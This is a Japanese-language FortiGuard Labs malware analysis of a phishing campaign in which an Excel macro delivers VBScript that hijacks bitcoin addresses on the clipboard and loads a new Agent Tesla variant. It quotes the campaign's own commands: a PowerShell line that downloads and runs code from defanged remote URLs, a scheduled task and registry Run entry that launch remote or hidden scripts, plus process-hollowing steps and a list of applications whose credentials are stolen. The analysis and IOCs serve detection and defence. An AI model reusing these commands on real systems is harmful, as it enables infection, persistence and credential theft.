FortiGuard Labs 脅威リサーチ

フィッシングマルウェアがビットコインのアドレスを乗っ取り、新しいAgent Tesla の亜種を配信

投稿者 Xiaopeng Zhang | 2021年6月9日

FortiGuard Labs Threat Research Report

影響を受けるプラットフォーム:Microsoft Windows 
影響を受ける対象:Windows ユーザー
影響:被害者のデバイスからの機密情報の収集
深刻度:クリティカル

FortiGuard Labs は最近、スパムメールに添付されたMicrosoft Excelドキュメントが複数のVBscriptコードをダウンロードして実行するという、新たなフィッシングキャンペーンを捕捉しました。このマルウェアは、ビットコインのアドレス情報をハイジャックし、Agent Teslaの新しい亜種を被害者のデバイスに配信するために使用されます。

2014年末に初めて発見されたAgent Teslaは、保存されたアプリケーションの認証情報やキーボード入力(キーロガー)など、被害者のデバイスから機密情報を盗むことに焦点を当てた既知のスパイウェアです。フォーティネットは、FortiGuard Labsが過去数年間に捕捉したAgent Teslaキャンペーンの詳細な分析ブログを多数掲載しています。

興味深いことに、Agent Teslaは、以下の図1.1に示すように、商用ソフトウェアのようにオンラインで販売されています。

図1.1 ウェブページ上で販売されているAgent Tesla

上記のウェブサイトでは、攻撃者は「Perfect Money」または「Bitcoin Payment」の支払い方法を使って匿名で購入することができます。

私はこの最新のフィッシングキャンペーンについて調査を行いました。この記事では、キャンペーンの開始方法、添付されたMicrosoft Excel内のマクロが何を行い、どのように実行されるのか、また、ビットコインアドレスがハイジャックをされ、Agent Teslaの新しい亜種を被害者のデバイスに配信する方法について、私の調査結果を紹介します。

フィッシングメールのExcelファイルの分析

図2.1 スパムメールの内容

図2.1でお気づきのように、メールがスパムであることを顧客に通知するために、サブジェクトに「SPAM detected by FortiMail」のマークが付けられています。このメールは、「Order Requirements and Specs 」と題されたドキュメントの詳細を見るために、添付されたMicrosoft Excelファイルを開くように受信者に要求しています。しかし、被害者がMicrosoft Excelプログラムでファイルを開くと、Excelドキュメントにマクロが含まれているため、図2.2に示すようにセキュリティ通知の警告がポップアップ表示されます。

図2.2 添付のExcelドキュメントを開く際の警告

これは空のExcelドキュメントで、シートは隠されています。また、パスワードで保護されたVBAプロジェクト(マクロ)が含まれています。このことは、VBAプロジェクトのバイナリデータを変更することでわかりました。このVBAプロジェクトにはWorkbook_BeforeClose()という定義済みのメソッドがあり、被害者がドキュメントを閉じると自動的に呼び出されます。

呼び出されると,「ERROR!」という文字列を持つ2つのUserFormsを1つずつ表示します。2つ目のフォームが閉じられると、OptionButtonのtagプロパティから読み込んだコードを実行します。図 2.3 に示すように、「Shell# UserForm2.OptionButton1.Tag」(図 2.3 の最後の「_」は、一種の改行文字)を実行して、プロパティ「UserForm2.OptionButton1.Tag」から読み込まれたコマンドライン・コマンド「mshta hxxp://www[.]j[.]mp/ais1kdoaksodjasod14」を実行しようとしているのです。

図2.3 プロパティ値から読み込んだコマンドの実行

「mshta.exe 」ファイルは、Microsoft HTML Application Hostのソフトウェアコンポーネントであり、Windows OSでHTA(HTML Application)ファイルを実行するためのユーティリティです。HTAファイルとは、ソースコードがHTML、Dynamic HTML、VBScriptやJScriptなどのスクリプトで構成されたMicrosoft Windowsのプログラムのことです。

「hxxp://www[.]j[.]mp/ais1kdoaksodjasod14」というURLは、「hxxp://bit[.]ly/ais1kdoaksodjasod14」にリダイレクトされ、最後に「hxxps://p8hj[.]blogspot[.]com/p/27.html」(「27.html」)にリダイレクトされています。お察しの通り、「27.html」からのレスポンスには悪意のあるコード、この場合はVBScriptコードが含まれており、これはescape()関数でエンコードされています。

「27.html」からのレスポンスには、VBScriptコードの3つのセグメントがあります。図2.4は、プロセス「mshta.exe」内でデコードおよび実行されるVBScriptコードの3つのセグメントを強調しています。次のセクションでは、VBScript コードの 3 つのセグメントが何をするのかを説明します。

図2.4「27.html 」のVBScriptコードの3つの部分

VBScriptコードの3つのセグメント

1. 新しいAgent Tesla亜種、自動実行グループ、タスクスケジューラーの概要

図3.1最初のVBScriptコードをアンエスケープ(unescape()でデコード)した場合

VBScriptコードの最初のセグメントにunescape()を2回呼び出した後、最終的に図3.1に示すようなHTMLコンテンツが得られます。このコンテンツには、以下に示す3つのタスクを実行するVBScriptコードの一部が含まれています。

  • 新しいAgent Tesla亜種を配信するためのPowerShellファイルのダウンロード

VBScriptのメソッドMicrosoftWINdows.Run()を以下のパラメータで呼び出しています。

"cmd /c start /min PowerShell -ex Bypass -nOp -w 1 ;i'E'x(iwr('hxxps://ia601500[.]us[.]archive[.]org/9/items/FTp-120-May12/27-1.txt') -useB);i'E'x(iwr(' hxxps://ia601500[.]us[.]archive[.]org/9/items/FTp-120-May12/27-2.txt') -useB);i'E'x(iwr(' hxxps://ia801500[.]us[.]archive[.]org/9/items/FTp-120-May12/27-3.txt') -useB)"

その後、PowerShellを実行し、3つのURLからダウンロードした3つのPowerShellファイルを実行します。ダウンロードした各PowerShellファイルの中には、2つの巨大な配列に格納された2つのEXEファイルがあります。

この2つのEXEファイルは、Agent Teslaのローダーと、Agent Teslaの新しい亜種です。以下は、Agent Teslaをロードする方法を説明するために、例として「27-1.txt」から抽出したコードの一部分です。

[Reflection.Assembly]::Load($Cli555).GetType('WpfControlLibrary1.LOGO').GetMethod('Run').Invoke($null,[object[]] ('C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe',$Cli444));

ご覧の通り、配列$Cli555からローダーをロードし、2つのパラメータを必要とする「WpfControlLibrary1.LOGO.Run()」という関数を持っています。これは通常のEXEファイル(「MSBuild.exe」)を実行し、巨大な配列$Cli444に格納された新しいAgent Teslaの亜種をその中に展開して実行します。つまり、Agent Teslaは「MSBuild.exe」の中で実行されることになりますが、これはAgent Teslaが被害者に検知されないようにするための手段でもあります。この「WpfControlLibrary1.LOGO.Run()」の詳細については後述します。

  • VBScriptコードは、システムレジストリのAuto-Runグループに多数のアイテムを追加します

図3.2は、感染したシステムのシステムレジストリにある「Auto-Run」グループのスクリーンショットです。これは、関数「SetStringValue()」を呼び出すことで、自動実行グループに追加するWMI(Windows Management Instrumentation)オブジェクトを作成します。

図3.2 システムレジストリの自動実行グループ
  • スケジュールタスクの作成

自動実行グループにアイテムを追加するだけでなく「タスクスケジューラ」でスケジュールされたタスクを追加して、キャンペーン全体を効果的に機能させます。

以下は、「schtasks」を実行して新しいスケジュールされたタスクを作成するためのコードです。新しいタスクの名前は「WIND0WSUPLATE」です。その動作は「mshta hxxp://1230948%1230948@getyournewblog[.]blogspot[.]com/p/27.html」というコマンドを実行することで、80分ごとに呼び出されます。

MicrosoftWINdows.run "schtasks /create /sc MINUTE /mo 80 /tn \"WIND0WSUPLATE\" /F /tr \"MsHtA\" \"hxxp://1230948%1230948@getyournewblog[.]blogspot[.]com/p/27.html\"" ,0

2. 被害者の端末のビットコインアドレスを乗っ取る

デコードされた後、次に2つ目のVBScriptコードを入手しました。このコードを実行すると、システムレジストリのサブキー「HKCU\Software\nasdnasndnad」にPowerShellコードが一括で保存されます。また、このPowerShellコードを実行する項目をシステムレジストリの「自動実行」グループに追加し、システム起動時に実行されるようにします(図3.2の項目「replcia」を参照)。

そのために、次のようなコードを実行します。

MicrosoftWINdows.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\replcia", "mshta vbscript:Execute(""CreateObject(""""Wscript.Shell"""").Run """"powershell ((gp HKCU:\Software).nasdnasndnad)|IEX"""", 0 : window.close"")", EXCELX

PowerShellコードを見てみると、ビットコインアドレスのハイジャックを行っていることがわかります。これは、システムのクリップボード上のデータを継続的に検出することで行います。有効なビットコインアドレスであれば、そのビットコインアドレスを攻撃者のものに置き換えます。そのために、「while」文と関数を使って、文字列が有効なビットコインアドレスであるかどうかをチェックします。while文は、Get-Clipboard()を呼び出して、システムのクリップボードデータを随時読み込みます。そして、isBitcoinAddress()という関数を呼び出して、そのデータが有効なビットコインアドレスかどうかを判断します。有効であれば、Set-Clipboard()を呼び出して、クリップボード内のビットコインアドレスを攻撃者のもの( この場合は 「19VFGWgBkn6J3kMd8ApfCbtbNUmg8eBMvp」 )に変更します。 図3.3は、ビットコインアドレスをハイジャックするために使用されるPowerShellコードです。

図3.3ビットコインアドレスをハイジャックするコード

通常、人々はシステムのクリップボードを使用して、支払い者のビットコインアドレスをコピーまたはペーストして支払いを行います。その際、このビットコインハイジャックによって、受取人のビットコインアドレスが攻撃者のものに変更されます。被害者は、自分のビットコインを間違った受取人に支払ったことに気づかないままです。

3. Microsoft ExcelとWordのプロセスをすべて終了させる

このセグメントのデコードコードを以下に示します。taskkillコマンドを実行し、実行中のMicrosoft ExcelおよびWordプログラムをすべて終了させます。これにより、mshta.exeコマンドの上で実行されているExcel.exeプログレスを強制的に終了させることができます。

<script language="VBScript">
CreateObject("WScript.Shell").Run "taskkill /f /im Excel.exe", 0
CreateObject("WScript.Shell").Run "taskkill /f /im winword.exe", 0 
window.resizeTo 0, 0
self.close
</script>

この時点で、この攻撃の第1段階の分析を終え、VBScriptの3つのセグメントで何ができるのかを説明しました。次は、VBScriptの最初のセグメントのコードによって開始されたローダーと新しいAgent Teslaの亜種の分析に焦点を当てます。

Agent Teslaのローダーの進行状況の分析

先に述べたように、「mshta.exe」は27.htmlのVBScriptコードの3つのセグメントを実行します。最初のものは、配列($Cli555)から.Net EXE(「ローダー」)を動的にロードし、その関数WpfControlLibrary1.LOGO.Run()を呼び出して、別の配列から本物のAgent TeslaをMSBuild.exeプロセスに展開します。

ローダーを手動でローカルファイルに展開し、Run()関数をdnSpyデバッガーを使って図4.1のように表示しました。

図 4.1 「WpfControlLibrary1.LOGO.Run()」による Agent Tesla の読み込み

Run()関数は、ターゲットプロセスのフルパス ('C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe') と、Agent Tesla亜種のバイナリデータを第2パラメータから取得します。そして、PEfX2B8Tl()という別の関数を呼び出して、この Agent Tesla 亜種をターゲットプロセスにデプロイします。図 4.1 にあるように、わかりやすくするために関数を簡略化しています。

まず、API関数のCreateProcess()をCreateFlag 0x4(CREATE_SUSPENDED)で呼び出し、サスペンド状態のMSBuild.exeプロセスを生成します。その後、GetThreadContext()、ReadProcessMemory()、NtUnmapViewOfSection()、VirtualAllocEx()、WriteProcessMemory()、SetThreadContext()、ResumeThread()などのおなじみのAPI関数を呼び出します。その後、Agent Tesla はターゲットプロセスである「MSBuild.exe」の中で実行されます。

フィッシングキャンペーンから始まった悪意のあるプロセスの全体像を示すために、以下にプロセスツリーのスクリーンショットを添付します。このプロセスツリーには、キャンペーンに関与したすべての関連プロセスと、これらのプロセス間の関係が示されています。

図4.2キャンペーンに関連するすべてのプロセスのプロセスツリー

データを盗むためにMSBuild.exeプロセス内で実行されるAgent Tesla

静的解析のために、この新しいAgent Teslaの亜種を大規模な配列($Cli444)からローカルファイルに抽出しました。

下の図 5.1 によると、この新しい亜種は完全に難読化されており、セキュリティ研究者が簡単に分析できないようにコードを保護できていることがわかります。

クラス名、関数名、変数名は、図5.1のように意味のないものです(例えば、"A"、"a"、"B"、"b"、"C"、"c "など)。例えば、この亜種のエントリポイント関数は、これ-"A.b.A() "です。

図5.1 Agent Teslaの難読化された新しい亜種

MSBuild.exeでAgent Teslaが起動すると、まず重複したAgent Teslaが起動していないかどうかを確認します。見つかった場合は、同時に1つのインスタンスだけが稼働するように終了させられます。

毎回実行されると、感染したデバイスに保存されているアプリケーション(Webブラウザ、FTPクライアント、IMなど)の認証情報を盗み、盗んだデータを攻撃者に送信します。

私の調査によると、73種類のアプリケーションから機密情報を盗みますが、その特徴によって以下のように分類されます。

Webブラウザ:

"Chrome", "Firefox", "Edge", "Safari", "SRWare Iron", "CoolNovo", "QQ Browser", "UC Browser", "Elements Browser", "QIP Surf", "Epic Privacy", "Amigo", "Coccoc", "Coowon", "Torch Browser", "Orbitum", "Yandex Browser", "Sputnik", "Chedot", "Vivaldi", "Iridium Browser", "360 Browser", "Chromium", "Opera Browser", "Sleipnir 6", "Liebao Browser", "CentBrowser", "Brave", "Cool Novo", "Citrio", "Uran", "7Star", "Kometa", "Comodo Dragon","K-Meleon", "FALKON", "IceCat", "Flock", "WaterFox", "PaleMoon", "UCBrowser", "IceDragon", "QQBrowser", "SeaMonkey", "BlackHawk", "CyberFox"

メールクライアント、メッセンジャークライアント:

"Postbox", "Foxmail", "Eudora", "Mailbird", "Becky!", "Opera Mail", "Outlook", "Thunderbird", "eM Client", "IncrediMail", "Claws-mail", "The Bat!", "Pocomail"
"Psi", "Trillian"

VPN、FTPクライアント、ダウンロードマネージャ:

"DownloadManager", "jDownloader", "OpenVPN", "SmartFTP", "FTPGetter", "WS_FTP", "FileZilla", "CFTP", "FTP Navigator", "CoreFTP", "WinSCP", "FlashFXP"

図 5.2 は、Mozilla Firefox から機密データを取得した瞬間を示しています。このデータには、ユーザ認証情報 (UserName と Password)、アプリケーション名「Firefox」、および認証情報が保存されている URL が含まれています。このデータは、マジックフラグ「PW_」を付けて攻撃者に送信されます。盗まれたデータがどのようにして攻撃者に送られるかについては、後で詳しく説明します。

図5.2 Mozilla Firefox から盗まれた機密データの表示

これは、いくつかの事前定義されたWebブラウザからCookie ファイルを収集するために使用されるスレッド関数を開始します。収集された Cookie ファイルは、ZIP アーカイブに圧縮され、マジックフラグ 「CO_」 を付けて攻撃者に送信されます。図5.3は、このようなZIPアーカイブの例で、私のテストマシン上のMozilla FirefoxとGoogle Chromeから収集したCookie ファイルが含まれています。

図5.3 収集したCookieファイルを含む1つのZIPアーカイブのツリービュー

上記で説明した内容に加えて、システムのクリップボードや被害者の入力(キーロガー)からもデータを収集します。APIのSetClipboardViewer()を呼び出して自身を登録し、クリップボードのデータが変更されたときに通知を受け取れるようにします。そして、クリップボードデータの取得と保存を行います。

また、この亜種では、攻撃者がキーロガー機能を有効にしています。API 関数 SetWindowsHookEx() を呼び出して Windows メッセージ WH_KEYBOARD_LL (13) にフックを設定し、被害者が入力したときのすべてのキーボードメッセージを受信できるようにしています。クリップボードから収集されたデータと、被害者の入力を通じて収集されたデータは、html形式でグローバル変数に保存されます。Agent Teslaは、グローバル変数にデータが保存されているかどうかを確認するために、タイマー(20分ごとに呼び出される)を開始し、データが保存されている場合は、マジックフラグ「KL_」を付けて攻撃者に送信します。

図 5.4 は、被害者の入力から収集したデータと、それを攻撃者に送信する際に私が抽出したクリップボードの一例です。

図5.4 収集されたキーロガーおよびクリップボードデータの例

ご覧のとおり、このデータには、現在時刻、ユーザー名、コンピュータ名、OSバージョン、CPUタイプ、メモリ容量などの基本情報が含まれています。キーロガーデータには、アプリケーション名("Google Chrome")、アプリケーションタイトル("New Tab - Google Chrome")、現在時刻(05/21/2021 10:48:18)のほか、2行目に被害者の入力が含まれています。クリップボードデータは、2行目に「Copied Text: 」という一定の文字列とクリップボードデータが表示されます。

盗んだデータを攻撃者に送信する

Agent Teslaは、盗んだデータをC2サーバに送信する方法をいくつかサポートしています。それらは、SMTPを介して攻撃者の電子メールアドレスにデータを送信する方法、FTPを介して攻撃者のFTPサーバにデータを送信する方法、HTTP POSTを介して攻撃者のHTTPサーバにデータを送信する方法です。

今回捕捉した亜種は、FTPプロトコルのSTORコマンド(ストア)を使用して、盗んだ機密データを送信しています。

Agent Teslaには、どのような種類のデータが報告されているかを識別するためのいくつかのマジックフラグがあります。これらは、認証情報を表す「PW_」、Cookieファイルを表す「CO_」、キーロガーとクリップボードを表す「KL」、スクリーンショットを表す「SC_」(この亜種では有効ではありません)です。データファイル名は、マジックフラグ、ユーザー名、コンピュータ名、現在の時刻で構成されています。

図6.1は、FTP-Dataパケット(マジックフラグ「PW_」付き)のデータ転送プロセスをWiresharkで表示した画面で、FirefoxとFileZillaに保存された盗まれた認証情報が含まれています。

図6.1 盗まれた認証情報を含むFTPパケット

結論

攻撃者の多くは、フィッシングメールでマルウェアを拡散することを好みます。その結果、FortiGuard Labsでは毎日のように新しいフィッシングキャンペーンが検出されています。電子メールに添付されたファイルを開く際には、より注意を払う必要があります。

今回分析したキャンペーンでは、VBScriptを使用して被害者のクリップボードを乗っ取るだけでなく、Agent Teslaの新しい亜種を配信しました。この記事では、添付されたMicrosoft Excel文書内の悪意のあるマクロがどのように実行されるかを始めとして、このキャンペーンについて説明しました。次に、27.htmlからのレスポンスで見つかった3つのVBScriptコードセグメントがどのように動作して、ビットコインアドレスのハイジャックを実行し、Agent Teslaの新しい亜種を起動するのかを詳しく説明しました。次に、この亜種がどのようなアプリケーションから機密データを盗むことができるのか、また Agent Tesla がどのような機密データに興味を持っているのか、保存された認証情報、一部のWebブラウザの Cookie ファイル、キーロガーデータ、クリップボードデータなどを紹介しました。そして最後に、盗んだデータをFTP-DATAパケットを使って攻撃者に送信する方法を紹介しました。

フォーティネットのソリューション

フォーティネットのお客様は、FortiGuardのWeb フィルタリング、アンチスパム、アンチウイルスの各サービスにより、このAgent Teslaの亜種から以下のように既に保護されています。

IOCに記載されている関連URLは、FortiGuardのWeb フィルタリングサービスによって「悪意のあるWebサイト」と評価されています。

フィッシングメールはFortiMailによりSPAMと判定されています。添付されたExcelファイルは 「VBA/Agent.WCN!tr 」として検出され、FortiGuardアンチウイルスサービスによってブロックされています。

FortiGuardアンチウイルスサービスは、FortiGateFortiMail、FortiClient、FortiEDRでサポートされています。また、Fortinet アンチウイルスエンジンは、これらの各ソリューションの一部でもあります。そのため、これらの製品を最新のバージョンでお持ちのお客様は保護されています。

また、読者の皆様には、無料のNSEトレーニング「NSE 1 - Information Security Awareness」を受講されることをお勧めします。このトレーニングには、インターネットの脅威に関するモジュールが含まれており、エンドユーザーがフィッシング攻撃を特定して防御する方法を学べるように設計されています。

IOC(Indicators of Compromise:侵害指標):

URLs

hxxp://www[.]j[.]mp/ais1kdoaksodjasod14
hxxp://bit[.]ly/ais1kdoaksodjasod14
hxxps://p8hj[.]blogspot[.]com/p/27[.]html
hxxps://ia601500[.]us[.]archive[.]org/9/items/FTp-120-May12/27-1.txt
hxxps://ia601500[.]us[.]archive[.]org/9/items/FTp-120-May12/27-2.txt
hxxps://ia801500[.]us[.]archive[.]org/9/items/FTp-120-May12/27-3.txt
hxxp://1230948%1230948@getyournewblog[.]blogspot[.]com/p/27.html
hxxp://1230948%1230948@newblogset144[.]blogspot[.]com/p/27.html
hxxp://1230948%1230948@firstblognew123[.]blogspot[.]com/p/27.html
hxxp://1230948%1230948@papagunnakjdnmwdnwmndwm[.]blogspot[.]com/p/27.html

SHA-256のサンプル

[Order Requirements and Specs.xls]
F10D005B7997686E87BAEE766E5B28BE3386FE3BA9A557BD2042DCBA5414B740

[Extracted new variant of Agent Tesla]
6FED3E1D302B9DF7893248367ED06F8A4F5BA2D3B7547E3F49D1D00A7718A8B4

参考:

New Agent Tesla Variant Spreading by Phishing

フォーティネットの脅威インテリジェンスとリサーチ 機関であるFortiGuard Labsや、FortiGuard のセキュリティサブスクリプションとサービスのポートフォリオについてはこちらをご覧ください。